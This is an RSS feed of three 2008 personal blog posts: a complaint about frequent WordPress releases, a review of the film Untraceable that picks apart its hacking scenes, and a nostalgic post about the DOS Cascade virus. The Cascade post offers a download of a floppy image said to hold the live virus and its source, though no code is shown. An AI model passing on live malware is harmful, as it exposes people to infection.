<?xml version="1.0" encoding="UTF-8"?> <rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:sy="http://purl.org/rss/1.0/modules/syndication/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/" ><channel><title>Kannan&#039;s Jumbled Thoughts&#187; Kannan&#8217;s Jumbled Thoughts</title> <atom:link href="http://kannan.jumbledthoughts.com/index.php/tag/security/feed/" rel="self" type="application/rss+xml" /><link>http://kannan.jumbledthoughts.com</link> <description>Technology, Books, Chess, Movies and more</description> <lastBuildDate>Sat, 24 Jul 2010 19:37:00 +0000</lastBuildDate> <language>en</language> <sy:updatePeriod>hourly</sy:updatePeriod> <sy:updateFrequency>1</sy:updateFrequency> <generator>http://wordpress.org/?v=3.0</generator> <item><title>No..not another WordPress version!!</title><link>http://kannan.jumbledthoughts.com/index.php/nonot-another-wordpress-version/</link> <comments>http://kannan.jumbledthoughts.com/index.php/nonot-another-wordpress-version/#comments</comments> <pubDate>Mon, 04 Aug 2008 01:11:06 +0000</pubDate> <dc:creator>kannanmr</dc:creator> <category><![CDATA[Code]]></category> <category><![CDATA[Computers]]></category> <category><![CDATA[Software]]></category> <category><![CDATA[Wordpress]]></category> <category><![CDATA[Irritiation]]></category> <category><![CDATA[Security]]></category> <category><![CDATA[Upgrade]]></category> <category><![CDATA[Version]]></category><guid isPermaLink="false">http://kannan.jumbledthoughts.com/index.php/nonot-another-wordpress-version/</guid> <description><![CDATA[I logged in to my blog account 2 days back, after a verrry long time (I blame my project move in the professional world). I was surprised to find out so many things have happened in the WordPress world. A new version has been released, many more vulnerabilities have been found and fixed&#8230;WAIT&#8230;a NEW version?? [...]]]></description> <content:encoded><![CDATA[<p>I logged in to my blog account 2 days back, after a verrry long time (I blame my project move in the professional world). I was surprised to find out so many things have happened in the WordPress world. A new version has been released, many more vulnerabilities have been found and fixed&#8230;WAIT&#8230;a NEW version?? NOOOO! It feels like I just updated to a new version&#8230;is there a new one already!???</p><p>WordPress is churning out new versions faster than my C2Duo / Vista machine can boot <img src='http://kannan.jumbledthoughts.com/wp-includes/images/smilies/icon_razz.gif' alt=':P' class='wp-smiley' title="No..not another Wordpress version!! (Jumbled Thoughts)" /> Don&#8217;t believe me? Look at these dates:</p><table cellspacing="0" cellpadding="2" width="400" border="0"><tbody><tr><td valign="top" width="191"><strong>WordPress version</strong></td><td valign="top" width="207"><strong>Release date</strong></td></tr><tr><td valign="top" width="191">1.5 (Strayhorn)</td><td valign="top" width="207">mid-Feb 2005</td></tr><tr><td valign="top" width="191">2.0 (duke)</td><td valign="top" width="207">Dec 2005</td></tr><tr><td valign="top" width="191">2.1 (Ella)</td><td valign="top" width="207">22 Jan 2007</td></tr><tr><td valign="top" width="191">2.2 (Getz)</td><td valign="top" width="207">16 May 2007</td></tr><tr><td valign="top" width="191">2.3 (Dexter)</td><td valign="top" width="207">24 Sep 2007</td></tr><tr><td valign="top" width="191">2.5 (Brecker)</td><td valign="top" width="207">29 Mar 2008</td></tr><tr><td valign="top" width="191">2.6 (Tyner)</td><td valign="top" width="207">15 Jul 2008</td></tr></tbody></table><p>&nbsp;</p><p><span id="more-233"></span></p><p>As you can see lately there is a new release every 3 months (avg). As a developer, I understand it is always good to code that great/mean feature and ship it out ASAP so that we can watch the customer use it, but as an end-user it *is* very tiresome to constantly keep upgrading every quarter. I don&#8217;t know how many times I did that&#8230;I am running more than 2 installations (1 for me, 1 for my wife, blah blah&#8230;don&#8217;t ask me to use WPMU..I did try it!), so whenever I see &#8220;A new WordPress version is available&#8221; message, I more or less go nuts!</p><p>The basic WP architecture has been severely criticized for being too rigid in terms of quick security fixes. See the following excerpt from <a rel="nofollow" target="_blank" href="http://en.wikipedia.org/wiki/WordPress" target="_blank">Wikipedia</a>:</p><blockquote><p>BlogSecurity currently maintains a list of WordPress vulnerabilities.<sup><a rel="nofollow" target="_blank" href="http://en.wikipedia.org/wiki/WordPress#cite_note-7" target="_blank">[8]</a></sup></p><p>In January 2007, many high-profile <a rel="nofollow" target="_blank" href="http://en.wikipedia.org/wiki/Search_engine_optimization" target="_blank">Search engine optimization</a> (SEO) blogs, as well as many low-profile commercial blogs featuring <a rel="nofollow" target="_blank" href="http://en.wikipedia.org/wiki/AdSense" target="_blank">AdSense</a>, were targeted and attacked with a WordPress exploit.<sup><a rel="nofollow" target="_blank" href="http://en.wikipedia.org/wiki/WordPress#cite_note-8" target="_blank">[9]</a></sup></p><p>A separate vulnerability on one of the project site&#8217;s <a rel="nofollow" target="_blank" href="http://en.wikipedia.org/wiki/Web_server" target="_blank">web servers</a> allowed an attacker to introduce exploitable code in the form of a <a rel="nofollow" target="_blank" href="http://en.wikipedia.org/wiki/Backdoor_%28computing%29" target="_blank">back door</a> to some downloads of WordPress 2.1.1. The 2.1.2 release addressed this issue; an advisory released at the time advised all users to upgrade immediately.<sup><a rel="nofollow" target="_blank" href="http://en.wikipedia.org/wiki/WordPress#cite_note-9" target="_blank">[10]</a></sup></p><p>In May 2007, a study revealed that 98% of WordPress blogs being run are exploitable.<sup><a rel="nofollow" target="_blank" href="http://en.wikipedia.org/wiki/WordPress#cite_note-10" target="_blank">[11]</a></sup></p><p>In a June 2007 interview, Stefen Esser, the founder of the PHP Security Response Team, spoke critically of WordPress&#8217;s security track record, citing problems with the application&#8217;s architecture that make it unnecessarily difficult to write code that is secure from <a rel="nofollow" target="_blank" href="http://en.wikipedia.org/wiki/SQL_injection" target="_blank">SQL injection</a> vulnerabilities, as well as other problems.<sup><a rel="nofollow" target="_blank" href="http://en.wikipedia.org/wiki/WordPress#cite_note-11" target="_blank">[12]</a></sup></p></blockquote><p>98% of the blogs?? Woah&#8230;.</p><p>I hope WordPress core developers fix the basic design flaw (if there was one!) and put together a solid core to the extremely usable exterior, so that many users like me, who are kind of paranoid, stay with WP in the future! Oh, btw, it&#8217;d be really nice if they could make the release cycle twice an year!!</p><div id="crp_related"><h3>Related Posts:</h3><ul><li><a href="http://kannan.jumbledthoughts.com/index.php/intel-speak-during-out-of-office-hours/" rel="bookmark" class="crp_title">Intel-speak during out-of-office hours</a></li><li><a href="http://kannan.jumbledthoughts.com/index.php/windows-live-writer-problems-with-wordpress-how-to-fix/" rel="bookmark" class="crp_title">Windows Live Writer problems with WordPress &#8211; How To fix?</a></li><li><a href="http://kannan.jumbledthoughts.com/index.php/2008-top-20-billionaires-what-do-they-do-with-so-much-money/" rel="bookmark" class="crp_title">2008 Top 20 Billionaires: What do they do with so much money?</a></li><li><a href="http://kannan.jumbledthoughts.com/index.php/we-need-more-ilangos/" rel="bookmark" class="crp_title">We need more Ilangos!</a></li><li><a href="http://kannan.jumbledthoughts.com/index.php/testing-windows-live-writer-2008/" rel="bookmark" class="crp_title">Testing Windows Live Writer 2008</a></li></ul></div><div class="shr-bookmarks shr-bookmarks-expand shr-bookmarks-center shr-bookmarks-bg-enjoy"><ul class="socials"><li class="shr-twitter"> <a href="http://twitter.com/home?status=No..not+another+Wordpress+version%21%21+-+<h3>This domain is forbidden!</h3>&amp;source=shareaholic" rel="nofollow" class="external" title="Tweet This!">Tweet This!</a></li><li class="shr-comfeed"> <a href="http://kannan.jumbledthoughts.com/index.php/nonot-another-wordpress-version/feed" rel="nofollow" class="external" title="Subscribe to the comments for this post?">Subscribe to the comments for this post?</a></li><li class="shr-delicious"> <a href="http://delicious.com/post?url=http://kannan.jumbledthoughts.com/index.php/nonot-another-wordpress-version/&amp;title=No..not+another+Wordpress+version%21%21" rel="nofollow" class="external" title="Share this on del.icio.us">Share this on del.icio.us</a></li><li class="shr-digg"> <a href="http://digg.com/submit?phase=2&amp;url=http://kannan.jumbledthoughts.com/index.php/nonot-another-wordpress-version/&amp;title=No..not+another+Wordpress+version%21%21" rel="nofollow" class="external" title="Digg this!">Digg this!</a></li><li class="shr-diigo"> <a href="http://www.diigo.com/post?url=http://kannan.jumbledthoughts.com/index.php/nonot-another-wordpress-version/&amp;title=No..not+another+Wordpress+version%21%21&amp;desc=I%20logged%20in%20to%20my%20blog%20account%202%20days%20back%2C%20after%20a%20verrry%20long%20time%20%28I%20blame%20my%20project%20move%20in%20the%20professional%20world%29.%20I%20was%20surprised%20to%20find%20out%20so%20many%20things%20have%20happened%20in%20the%20Wordpress%20world.%20A%20new%20version%20has%20been%20released%2C%20many%20more%20vulnerabilities%20have%20been%20found%20and%20fixed...WAIT...a%20N" rel="nofollow" class="external" title="Post this on Diigo">Post this on Diigo</a></li><li class="shr-googlebuzz"> <a href="http://www.google.com/buzz/post?url=http://kannan.jumbledthoughts.com/index.php/nonot-another-wordpress-version/&amp;imageurl=" rel="nofollow" class="external" title="Post on Google Buzz">Post on Google Buzz</a></li><li class="shr-misterwong"> <a href="http://www.mister-wong.com/addurl/?bm_url=http://kannan.jumbledthoughts.com/index.php/nonot-another-wordpress-version/&amp;bm_description=No..not+another+Wordpress+version%21%21&amp;plugin=sexybookmarks" rel="nofollow" class="external" title="Add this to Mister Wong">Add this to Mister Wong</a></li><li class="shr-mixx"> <a href="http://www.mixx.com/submit?page_url=http://kannan.jumbledthoughts.com/index.php/nonot-another-wordpress-version/&amp;title=No..not+another+Wordpress+version%21%21" rel="nofollow" class="external" title="Share this on Mixx">Share this on Mixx</a></li><li class="shr-reddit"> <a href="http://reddit.com/submit?url=http://kannan.jumbledthoughts.com/index.php/nonot-another-wordpress-version/&amp;title=No..not+another+Wordpress+version%21%21" rel="nofollow" class="external" title="Share this on Reddit">Share this on Reddit</a></li><li class="shr-stumbleupon"> <a href="http://www.stumbleupon.com/submit?url=http://kannan.jumbledthoughts.com/index.php/nonot-another-wordpress-version/&amp;title=No..not+another+Wordpress+version%21%21" rel="nofollow" class="external" title="Stumble upon something good? Share it on StumbleUpon">Stumble upon something good? Share it on StumbleUpon</a></li><li class="shr-technorati"> <a href="http://technorati.com/faves?add=http://kannan.jumbledthoughts.com/index.php/nonot-another-wordpress-version/" rel="nofollow" class="external" title="Share this on Technorati">Share this on Technorati</a></li></ul><div style="clear:both;"></div></div><div class="su-linkbox" id="post-233-linkbox"><div class="su-linkbox-label">Link to this post!</div><div class="su-linkbox-field"><input type="text" value="&lt;a href=&quot;http://kannan.jumbledthoughts.com/index.php/nonot-another-wordpress-version/&quot;&gt;No..not another WordPress version!!&lt;/a&gt;" onclick="javascript:this.select()" readonly="readonly" style="width: 100%;" /></div></div>]]></content:encoded> <wfw:commentRss>http://kannan.jumbledthoughts.com/index.php/nonot-another-wordpress-version/feed/</wfw:commentRss> <slash:comments>5</slash:comments> </item> <item><title>[Movie] Untraceable</title><link>http://kannan.jumbledthoughts.com/index.php/movie-untraceable/</link> <comments>http://kannan.jumbledthoughts.com/index.php/movie-untraceable/#comments</comments> <pubDate>Fri, 16 May 2008 07:37:52 +0000</pubDate> <dc:creator>kannanmr</dc:creator> <category><![CDATA[Movies]]></category> <category><![CDATA[Personal]]></category> <category><![CDATA[Reviews]]></category> <category><![CDATA[Videos]]></category> <category><![CDATA[Botnet]]></category> <category><![CDATA[English-Movies]]></category> <category><![CDATA[Hacker]]></category> <category><![CDATA[Movie Reviews]]></category> <category><![CDATA[Review]]></category> <category><![CDATA[Security]]></category> <category><![CDATA[Untraceable]]></category><guid isPermaLink="false">http://kannan.jumbledthoughts.com/index.php/movie-untraceable/</guid> <description><![CDATA[I have been watching way too many movies past 2 weeks, cannot even remember many of their names now. Last weekend I planned to go to Salem, but ended up in Fry&#8217;s (Wilsonville). I bought a Wii there and am thoroughly enjoying the games in it, but more about that in a different post. Amidst [...]]]></description> <content:encoded><![CDATA[<p>I have been watching way too many movies past 2 weeks, cannot even remember many of their names now. Last weekend I planned to go to Salem, but ended up in Fry&#8217;s (<a rel="nofollow" target="_blank" title="Wilsonville, OR" href="http://maps.google.com/maps?f=q&amp;hl=en&amp;geocode=&amp;q=wilsonville,+oregon&amp;ie=UTF8&amp;ll=45.312805,-122.760201&amp;spn=0.106232,0.224533&amp;z=12&amp;iwloc=addr" target="_blank">Wilsonville</a>). I bought a Wii there and am thoroughly enjoying the games in it, but more about that in a different post. Amidst all these I am trying to finish up my office work too. See how hard working, I am? <img src='http://kannan.jumbledthoughts.com/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' title="[Movie] Untraceable (Jumbled Thoughts)" /> .</p><p>In this post, I want to talk about the movie <a rel="nofollow" target="_blank" title="IMDB page for Untraceable" href="http://www.imdb.com/title/tt0880578/" target="_blank">Untraceable</a>. I just finished watching it. My initial impression &#8211; &quot;Great, that was interesting!&quot;. But now, after some 10 minutes, I realize all the holes and stupidity in that movie. But before I get to that, let me tell you what this movie is about.</p><p><strong><img alt="[Movie] Untraceable" src="http://kannan.jumbledthoughts.com/wp-content/upload/2008/05/untraceable.jpg" title="[Movie] Untraceable (Jumbled Thoughts)" /> </strong></p><p><strong>******** Warning: Spoilers ahead ***********</strong></p></p><p><span id="more-230"></span></p><p><a rel="nofollow" target="_blank" title="Diane Lane" href="http://en.wikipedia.org/wiki/Diane_Lane" target="_blank">Diane Lane</a> plays the role of a computer specialist in FBI cyber crime division. One day she stumbles upon (no, not using <a rel="nofollow" target="_blank" title="StumbleUpon" href="http://stumbleupon.com" target="_blank">StumbleUpon</a>!) an underground sicko site, where somebody live-streams a cat die. That &quot;somebody&quot; doesn&#8217;t stop with the cat (obviously&#8230;else we won&#8217;t have this movie), he moves on to streaming humans die. The crooked but brilliant mind of the killer comes up with contraptions that are linked to the number of people watching the deaths online; More the people login to watch, faster those devices work to kill their subjects. Does the term contraption remind you of <a rel="nofollow" target="_blank" title="Absolute classic. One of my all time favs" href="http://en.wikipedia.org/wiki/Saw_%28film%29" target="_blank">SAW</a>?? It did for me. Coming back to the plot: Lane, along with her colleague, starts investigating and soon they both get in to trouble. Her colleague gets killed next &#8212; live-streamed, with millions watching. Now comes the big climax, where Lane figures it out all and exposes the criminal, but gets in to his trap herself. Does she fight it out and comes out alive? Of course, she does. What else can we expect from movies! There you go, the complete plot of Untraceable.</p><p>No doubt I enjoyed this movie. I started watching this movie with out knowing anything about the story/plot, didn&#8217;t even know what it was about. The moment I saw Diane Lane go in to the computer room and start talking about <a rel="nofollow" target="_blank" title="Click to know what this means" href="http://en.wikipedia.org/wiki/Trojan_horse_%28computing%29" target="_blank">trojans</a>, I got hooked <img src='http://kannan.jumbledthoughts.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' title="[Movie] Untraceable (Jumbled Thoughts)" /> Personally I love these stuff, but I am sure any computer professional would have felt the same. I also loved the technical talk that happened at the beginning of the movie &#8211; at least it made sense. But, when Diane Lane told her superior how the killer had &quot;set up a <a rel="nofollow" target="_blank" title="Botnet" href="http://en.wikipedia.org/wiki/Botnet" target="_blank">botnet</a> and keeps a mirror of the site in each compromised system and thats why the site keeps popping up again and again even after her repeated tries to shut it down&quot;, I was like &quot;Hold on! Hold on! Is it technically possible? Lemme think&#8230;he is streaming a real live video, encoded and being distributed online, from a Russian server&#8230;AND what is this mirroring thing and botnet thing she is mixing up? AND what about the DNS refresh latency? And what about the live HD quality video&#8230;&quot;. Before my slow brain cogs could move, latch and find an answer, the next scene started and I forgot the question itself <img src='http://kannan.jumbledthoughts.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' title="[Movie] Untraceable (Jumbled Thoughts)" /> . Do you see what happened? The movie, to its credit, is not slow anywhere. So it keeps throwing all these technical jargon around, but zips on to the next scene so fast, people don&#8217;t get time to think about the technical feasibility at all. This is good tactics and has worked perfectly well for this movie. As I said earlier, I didn&#8217;t start thinking about the logic holes and the stupid scenes until the movie ended.</p><p>Now for some real bloopers:</p><ul><li><strong>TTL being low</strong>. What the hell is Diane Lane talking about? Unless I have forgotten my TCP/IP basics, <a rel="nofollow" target="_blank" title="TTL" href="http://en.wikipedia.org/wiki/Time_to_live" target="_blank">TTL</a> is just a measure to determine when the packets need to be dropped. If you keep a lower value for it, like 1, the packet will be discarded in the next hop. Lower value doesn&#8217;t mean it travels faster, as shown in the movie.</li><li><strong>Botnet thing</strong>. Though the idea seems logical, I doubt its feasibility. Botnets are a bunch of compromised machines with agents running in each. You can use them to organize an attack (DoS) on a site or something, but streaming LIVE video is kind of far fetched, if not impossible (as far as my limited knowledge goes). You need to have a super-duper trojan developed for creating such a smart zombie network. The botnet should be kind of fault-tolerant, in the sense there has to be a real time way of a zombie picking up from another dead zombie. I probably have to think about this,&#160; but the idea is good. Even then, a simple analysis of a compromised machine will tell you where the video is coming from, since it is a live feed. This botnet should not make the feed source totally untraceable, as shown in the movie.</li><li><strong>Cool server run off the basement. </strong>It is shown to take a load of nearly 17 million people at one point of time, watching the live video stream. Man&#8230;that must be one hell of a server, with an amazing pipe.</li><li><strong>Russian servers</strong>. The servers are supposed to be in Russia. FBI has no jurisdiction, ok&#8230;understandable, but can&#8217;t they talk to the Russian counterparts to find the server and shut it down? Or FBI thought Russia wouldn&#8217;t be interested in a bunch of Americans being killed live over a site?</li><li><strong>The killer pawns the car</strong>. I have never seen a car hacked like this before. The killer shuts down the car computer mid-way and Diane Lane&#8217;s car stops. STOPS! How can a car stop just because the on-board computer stopped? And, I seriously doubt the technical possibility of doing this car computer hack &#8212; unless you have access to the car&#8217;s CAN backbone and have the proprietary (I guess) interface software available on hand, it is next to impossible. At least, if the killer is shown to have used an electro magnetic pulse to disrupt the car electronics, it would have been somewhat believable.</li><li><strong>Diane Lane must be deaf</strong>. The killer is shown to be in the back seat, but still Diane Lane couldn&#8217;t hear him talk to her over the on-board speaker phone. Duh!</li><li><strong>Lane falls in the trap</strong>. If I were Diane Lane I would NEVER have come back in to a car that just got hacked by one of the most elite hackers around. What made her come back to the car, neatly close the door and all, when she just escaped out of it in the previous scene?</li><li><strong>Villain gets beaten by the leading actor</strong>. In the climax, Diane Lane is hanging from a rope upside down, with her hands tied, her mouth gagged. The killer keeps a gardening device under her. Computer is connected to the pulley so that as more people login, Lane is released to fall on that device and be shredded in to pieces. Not a bad trick, right? The execution (no pun intended) of this scene is laughable. You need to watch this scene to see how stupid it looked. Why didn&#8217;t she remove the gag from her mouth? It is not like her hands were tied behind or something. Man, I didn&#8217;t understand that at all. And, this is a big **AND**, why the hell did the killer keep her near a poll when she had this much mobility? The killer was shown a 1337 hax0r through out the movie, but this one scene blew that cool image.</li><li><strong>Diane Lane flashing her badge</strong>. After getting free and killing the killer, why did the movie end with Diane Lane showing her badge on the camera?? Was she afraid the people who were logged in would take her to be a killer rather than a licensed-killer (read, COP)?? If I were her, I would have got all the IPs that have logged on to the site, from his computer. Or at least, tell something like &quot;You sickos&#8230;watching snuff films is bad for health!&quot; to the camera so that all the people who were watching heard her. None of that, she flashes her badge as if she just won it beating the killer in a WWE match&#8230;*sigh*</li></ul><p>Another interesting thing I noticed is, through out the movie you never see Linux (or some form of Unix). The FBI computer specialist uses&#8230;can you guess?&#8230;.Windows VISTA. And the elite hacker uses&#8230;&#8230;I bet you won&#8217;t get this!&#8230;&#8230;&#8230;Windows XP <img src='http://kannan.jumbledthoughts.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' title="[Movie] Untraceable (Jumbled Thoughts)" /> Oh man&#8230;haven&#8217;t you guys ever used Linux before? I shudder to think how ELITEEEEE the killer would have been if only he had used Linux! <img src='http://kannan.jumbledthoughts.com/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' title="[Movie] Untraceable (Jumbled Thoughts)" /></p><p>Hey&#8230;its been ages since I wrote a movie review. Its actually good that I wrote this post immediately after watching the movie, when the movie is fresh in my mind and I have the enthusiasm to finish up this post <img src='http://kannan.jumbledthoughts.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' title="[Movie] Untraceable (Jumbled Thoughts)" /> I know how many posts I missed when I decided to write up something first thing in the morning! Laziness is a big killer, I tell you&#8230;</p><p>BTW, if my review got you interested in the movie, you can watch it online below <img src='http://kannan.jumbledthoughts.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' title="[Movie] Untraceable (Jumbled Thoughts)" /> Do let me know what you think of this movie.</p><p><embed src="http://www.veoh.com/videodetails2.swf?permalinkId=v8958258t26PJTtp&amp;id=1841591&amp;player=videodetailsembedded&amp;videoAutoPlay=0" allowFullScreen="true" width="540" height="438" bgcolor="#FFFFFF" type="application/x-shockwave-flash" pluginspage="http://www.macromedia.com/go/getflashplayer"></embed><br /><font color="#808080">Online Videos by Veoh.com</font></p><div id="crp_related"><h3>Related Posts:</h3><ul><li><a href="http://kannan.jumbledthoughts.com/index.php/movie-saw/" rel="bookmark" class="crp_title">[Movie] SAW</a></li><li><a href="http://kannan.jumbledthoughts.com/index.php/movie-memento/" rel="bookmark" class="crp_title">[Movie] Memento</a></li><li><a href="http://kannan.jumbledthoughts.com/index.php/who-is-the-real-worker-some-personal-tales/" rel="bookmark" class="crp_title">Who is the real worker &amp; some personal tales!</a></li><li><a href="http://kannan.jumbledthoughts.com/index.php/movie-review-bang-kwa-hoo-ok-sang/" rel="bookmark" class="crp_title">Bang-kwa-hoo Ok-sang (See you after school) &#8211; Interesting film!</a></li><li><a href="http://kannan.jumbledthoughts.com/index.php/21-virus-and-other-malware-payload-videos/" rel="bookmark" class="crp_title">21 Virus and other Malware payload videos</a></li></ul></div><div class="shr-bookmarks shr-bookmarks-expand shr-bookmarks-center shr-bookmarks-bg-enjoy"><ul class="socials"><li class="shr-twitter"> <a href="http://twitter.com/home?status=%5BMovie%5D+Untraceable+-+<h3>This domain is forbidden!</h3>&amp;source=shareaholic" rel="nofollow" class="external" title="Tweet This!">Tweet This!</a></li><li class="shr-comfeed"> <a href="http://kannan.jumbledthoughts.com/index.php/movie-untraceable/feed" rel="nofollow" class="external" title="Subscribe to the comments for this post?">Subscribe to the comments for this post?</a></li><li class="shr-delicious"> <a href="http://delicious.com/post?url=http://kannan.jumbledthoughts.com/index.php/movie-untraceable/&amp;title=%5BMovie%5D+Untraceable" rel="nofollow" class="external" title="Share this on del.icio.us">Share this on del.icio.us</a></li><li class="shr-digg"> <a href="http://digg.com/submit?phase=2&amp;url=http://kannan.jumbledthoughts.com/index.php/movie-untraceable/&amp;title=%5BMovie%5D+Untraceable" rel="nofollow" class="external" title="Digg this!">Digg this!</a></li><li class="shr-diigo"> <a href="http://www.diigo.com/post?url=http://kannan.jumbledthoughts.com/index.php/movie-untraceable/&amp;title=%5BMovie%5D+Untraceable&amp;desc=I%20have%20been%20watching%20way%20too%20many%20movies%20past%202%20weeks%2C%20cannot%20even%20remember%20many%20of%20their%20names%20now.%20Last%20weekend%20I%20planned%20to%20go%20to%20Salem%2C%20but%20ended%20up%20in%20Fry%27s%20%28Wilsonville%29.%20I%20bought%20a%20Wii%20there%20and%20am%20thoroughly%20enjoying%20the%20games%20in%20it%2C%20but%20more%20about%20that%20in%20a%20different%20post.%20Amidst%20all%20these%20" rel="nofollow" class="external" title="Post this on Diigo">Post this on Diigo</a></li><li class="shr-googlebuzz"> <a href="http://www.google.com/buzz/post?url=http://kannan.jumbledthoughts.com/index.php/movie-untraceable/&amp;imageurl=" rel="nofollow" class="external" title="Post on Google Buzz">Post on Google Buzz</a></li><li class="shr-misterwong"> <a href="http://www.mister-wong.com/addurl/?bm_url=http://kannan.jumbledthoughts.com/index.php/movie-untraceable/&amp;bm_description=%5BMovie%5D+Untraceable&amp;plugin=sexybookmarks" rel="nofollow" class="external" title="Add this to Mister Wong">Add this to Mister Wong</a></li><li class="shr-mixx"> <a href="http://www.mixx.com/submit?page_url=http://kannan.jumbledthoughts.com/index.php/movie-untraceable/&amp;title=%5BMovie%5D+Untraceable" rel="nofollow" class="external" title="Share this on Mixx">Share this on Mixx</a></li><li class="shr-reddit"> <a href="http://reddit.com/submit?url=http://kannan.jumbledthoughts.com/index.php/movie-untraceable/&amp;title=%5BMovie%5D+Untraceable" rel="nofollow" class="external" title="Share this on Reddit">Share this on Reddit</a></li><li class="shr-stumbleupon"> <a href="http://www.stumbleupon.com/submit?url=http://kannan.jumbledthoughts.com/index.php/movie-untraceable/&amp;title=%5BMovie%5D+Untraceable" rel="nofollow" class="external" title="Stumble upon something good? Share it on StumbleUpon">Stumble upon something good? Share it on StumbleUpon</a></li><li class="shr-technorati"> <a href="http://technorati.com/faves?add=http://kannan.jumbledthoughts.com/index.php/movie-untraceable/" rel="nofollow" class="external" title="Share this on Technorati">Share this on Technorati</a></li></ul><div style="clear:both;"></div></div><div class="su-linkbox" id="post-230-linkbox"><div class="su-linkbox-label">Link to this post!</div><div class="su-linkbox-field"><input type="text" value="&lt;a href=&quot;http://kannan.jumbledthoughts.com/index.php/movie-untraceable/&quot;&gt;[Movie] Untraceable&lt;/a&gt;" onclick="javascript:this.select()" readonly="readonly" style="width: 100%;" /></div></div>]]></content:encoded> <wfw:commentRss>http://kannan.jumbledthoughts.com/index.php/movie-untraceable/feed/</wfw:commentRss> <slash:comments>5</slash:comments> </item> <item><title>Cascade Virus: Down the memory lane.</title><link>http://kannan.jumbledthoughts.com/index.php/cascade-virus-down-the-memory-lane/</link> <comments>http://kannan.jumbledthoughts.com/index.php/cascade-virus-down-the-memory-lane/#comments</comments> <pubDate>Mon, 24 Mar 2008 12:45:54 +0000</pubDate> <dc:creator>kannanmr</dc:creator> <category><![CDATA[Code]]></category> <category><![CDATA[Computers]]></category> <category><![CDATA[Technology]]></category> <category><![CDATA[1.44MB]]></category> <category><![CDATA[Cascade]]></category> <category><![CDATA[Computer Virus]]></category> <category><![CDATA[DOS]]></category> <category><![CDATA[Security]]></category> <category><![CDATA[Virii]]></category> <category><![CDATA[Virtualbox]]></category> <category><![CDATA[virus]]></category><guid isPermaLink="false">http://kannan.jumbledthoughts.com/index.php/cascade-virus-down-the-memory-lane/</guid> <description><![CDATA[I have always been fascinated with computer virii. My first exposure to computer virii was back in 1994, when my 360KB floppy disk got infected by STONED. The hype around virii was so much and I was so misinformed, I kept that infected disk in the jacket, away from all other diskettes I owned for [...]]]></description> <content:encoded><![CDATA[<p>I have always been fascinated with computer virii. My first exposure to computer virii was back in 1994, when my 360KB floppy disk got infected by <em>STONED</em>. The hype around virii was so much and I was so misinformed, <span style="color: #800000;"><strong>I kept that infected disk in the jacket, away from all other diskettes I owned for 2 weeks</strong></span>!! No, I am not kidding.</p><p>Gokul, (owner of Port Bit Systems/Trichy, who was my first computer teacher) looked like a hero to me, when he could <em>magically</em> clean the infection by running a command line DOS McAfee. Man,those days were cool! Later when I started learning x86 assembly and DOS internals, I got fully absorbed in to the wonder world of DOS virii. (I still have the first DOS anti-virus program I wrote &#8211; &#8220;<em>(C) Brain&#8221;</em> remover &#8211; somewhere in my old HDD). &#8220;<em>Computer Viruses: Prevention, detection and cure</em>&#8221; by Rajneesh Kapur was my first viruses book; An excellent one! This is out of print now, can&#8217;t even find it in the <a rel="nofollow" target="_blank" title="BPB Publishers - Original publishers of Rajneesh Kapur;s book" href="http://www.bpbonline.com" target="_blank">original publishers site</a>.</p><p>One virus I fondly remember to this day, is the famous (!?) <a rel="nofollow" target="_blank" title="F-Secure analysis" href="http://www.f-secure.com/v-descs/cascade.shtml" target="_blank">CASCADE</a> virus (a.k.a Raindrop/17xx). This virus was a non-overwriting, resident COM infector. When triggered it made the characters in the screen fall in to a nice heap at the bottom. (Remember, we were in the command line mode then!). It was kind of cool to see this cascading action.</p><p>Cascade was the first virus to use encryption. The virus consisted of two parts &#8211; the virus body and an encryption routine. The latter encrypted the body of the virus so that it appeared different in every infected file. After loading the file, control was transferred to the decryption routine which decoded the virus body and transferred control to it. Unlike future polymorphic viruses, Cascade encoded only the body of the virus. The size of the infected file was used as the decryption key. Since the decryption routine remained unchanged, antivirus programs detected the virus with ease.</p><p>If you have never seen the virus in action, look at the screen shots below:</p><p><a title="click to enlarge" href="http://kannan.jumbledthoughts.com/wp-content/upload/2008/03/cascade_virus_payload_1.png" target="_blank"><img src="http://kannan.jumbledthoughts.com/wp-content/upload/2008/03/cascade_virus_payload_1.png" alt="Cascade Virus: DOS command line" width="575" height="325" title="Cascade Virus: Down the memory lane. (Jumbled Thoughts)" /></a></p><p><span id="more-212"></span><br /> <a title="click to enlarge" href="http://kannan.jumbledthoughts.com/wp-content/upload/2008/03/cascade_virus_payload_2.png" target="_blank"><img src="http://kannan.jumbledthoughts.com/wp-content/upload/2008/03/cascade_virus_payload_2.png" alt="Cascade Virus: Edit.com DOS window" width="575" height="325" title="Cascade Virus: Down the memory lane. (Jumbled Thoughts)" /></a></p><p>I took the above screen shots from an infected machine I setup. Last week, because of some re-orgs in my group (more about this in a later post!), I had enough time to install DOS in a VM &amp; infect it with CASCADE. It actually felt good to use MASM after a long time, to produce the live virus. Triggering the virus (setting the date to 11-30-1988) was a simple thing. If you think all of this is too much work, download the virtual HD from here. (<strong>TODO</strong> [<span style="text-decoration: underline;">Mar24,2008</span>]: Link is not up yet. I will upload the VDI somewhere online and update this post. Please do let me know if you know of any reliable online file storing sites. TIA.). BTW, I used the open source VirtualBox for creating the testbed.</p><p>Alternatively, download the floppy disk image from here:</p> <a class="downloadlink dlimg" href="http://kannan.jumbledthoughts.com/wp-content/plugins/download-monitor/download.php?id=6" title="Version 1.0 downloaded 60 times" ><img src="http://kannan.jumbledthoughts.com/wp-content/plugins/download-monitor/img/download.gif" alt="Download FDD image with Cascade Virus (1.44MB) Version 1.0" title="Cascade Virus: Down the memory lane. (Jumbled Thoughts)" /></a><p>It has the floppy img. with live virus &amp; source. You can burn this to a 1.44MB floppy disk (or use a IMG-aware program to open it) after unzipping.</p><h3><strong> </strong><strong>What is in the disk?</strong></h3><p>I have included the 